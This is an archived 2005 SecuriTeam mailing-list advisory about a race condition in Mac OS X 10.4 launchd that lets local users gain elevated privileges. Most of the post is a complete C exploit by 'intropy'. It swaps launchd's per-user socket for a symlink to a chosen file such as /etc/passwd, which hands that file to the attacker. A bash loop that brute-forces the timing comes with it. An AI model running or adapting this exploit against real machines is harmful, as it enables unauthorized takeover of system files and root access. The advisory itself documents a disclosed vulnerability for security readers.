[EXPL] MacOS X launchd Race Condition (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/14/05

  • Next message: SecuriTeam: "[NT] Vulnerability in Server Message Block Allows Remote Code Execution (MS05-027)"
    To: list@securiteam.com
    Date: 14 Jun 2005 18:52:55 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      MacOS X launchd Race Condition (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    "launchd manages daemons, both for the system as a whole and for
    individual users. Ideal daemons can launch on demand based on criteria
    specified in their respective XML property lists located in one of the
    directories specified in the FILES section. During boot launchd is invoked
    by the kernel to run as the first process on the system and to further
    bootstrap the rest of the system."

    A race condition in Mac OS X's launchd allows local users to gain
    eleveated privileges.

    DETAILS

    Vulnerable Systems:
     * Mac OS X launchd version 10.4

    Exploit:
    /*
     * Mac OS X 10.4 launchd race condition exploit
     *
     * intropy (intropy <at> caughq.org)
     */

    /* .sh script to help with the offsets /str0ke
    #!/bin/bash

    X=1000
    Y=3000
    I=1

    while ((1))
    do
        ./CAU-launchd /etc/passwd $X
        if [ $I -lt 30 ]
        then
            ((X=$X+$Y))
            ((I=$I+1))
        else
            X=1000
            I=1
        fi
    done
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>

    #define DEBUG 0
    #define SLEEP 6000

    main(int argc, char *argv[])
    {
        pid_t pid;
        int count, sleep = SLEEP;
        char name[100];
        char target[100];
        struct stat *stats = (struct stat *)malloc(sizeof(struct stat));

        if ( argc < 2) {
            fprintf(stderr, "%s <file to 0wn>\n", argv[0]);
            exit(-1);
        } else if ( argc > 2 ) {
            sleep = atoi(argv[2]);
            strncpy(target, argv[1], sizeof(target)-1);
        } else {
            strncpy(target, argv[1], sizeof(target)-1);
        }

        if ( DEBUG ) printf("Going for %s\n", target);
        if ( DEBUG ) printf("Using usleep %d\n", sleep);

        pid = fork();

        if ( pid == 0 ) {
            if ( DEBUG ) {
                system("/sbin/launchd -v /bin/ls -R /var/launchd/
    2>/dev/null");
            } else {
                system("/sbin/launchd -v /bin/ls -R /var/launchd/ >/dev/null
    2>&1");
            }
        } else {
            snprintf(name, sizeof(name)-1, "/var/launchd/%d.%d/sock",
    getuid(), pid+2);
            if ( DEBUG ) printf("Checking %s\n", name);
            usleep(sleep);
            if ( DEBUG ) printf("Removing sock...\n");
            if ( (unlink(name)) != 0 ) {
                if ( DEBUG ) perror("unlink");
            } else {
                if ( (symlink(target, name)) != 0 ) {
                    if ( DEBUG ) perror("symlink");
                } else {
                    if ( DEBUG ) printf("Created symlink %s -> %s...\n", name,
    target);
                }
            }
            stat(target, stats);
            if ( stats->st_uid == getuid() ) {
                printf("Looks like we got it\n");
                usleep(10000000);
            }
        }
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:intropy@caughq.org> intropy.
    The original article can be found at:
    <http://www.caughq.org/exploits/CAU-EX-2005-0004.txt>
    http://www.caughq.org/exploits/CAU-EX-2005-0004.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Vulnerability in Server Message Block Allows Remote Code Execution (MS05-027)"

    Relevant Pages

    • [NEWS] Mac OS X launchd Race Condition Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... During boot launchd is invoked by the kernel to run as the first process ... ownership of this file or run code with root privileges. ... This gives the malicious user the ability to effectively "steal" ...
      (Securiteam)
    • [TOOL] Macchanger - GNU MAC Changer
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... viewing/manipulating the MAC address of network interfaces. ... * Set another MAC of the same vendor ...
      (Securiteam)
    • [NEWS] Mac OS X Long argv[] Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... It is possible to cause the Mac OS X kernel to crash by specifying a long ... command line argument. ...
      (Securiteam)
    • [NEWS] AppleFileServer Remote Command Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The AppleFileServer provides Apple Filing Protocol (AFP) services for both ... Mac OS X and Mac OS X server. ... remotely exploitable stack buffer overflow ...
      (Securiteam)
    • [UNIX] Apple Mac OS X CoreGraphics PDF Type1 Font Integer Overflow Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Apple Mac OS X CoreGraphics PDF Type1 Font Integer Overflow Vulnerability ... Exploitation of this issue allows an attacker to execute arbitrary code. ... PDF file on a website and entice a targeted user to open a URL. ...
      (Securiteam)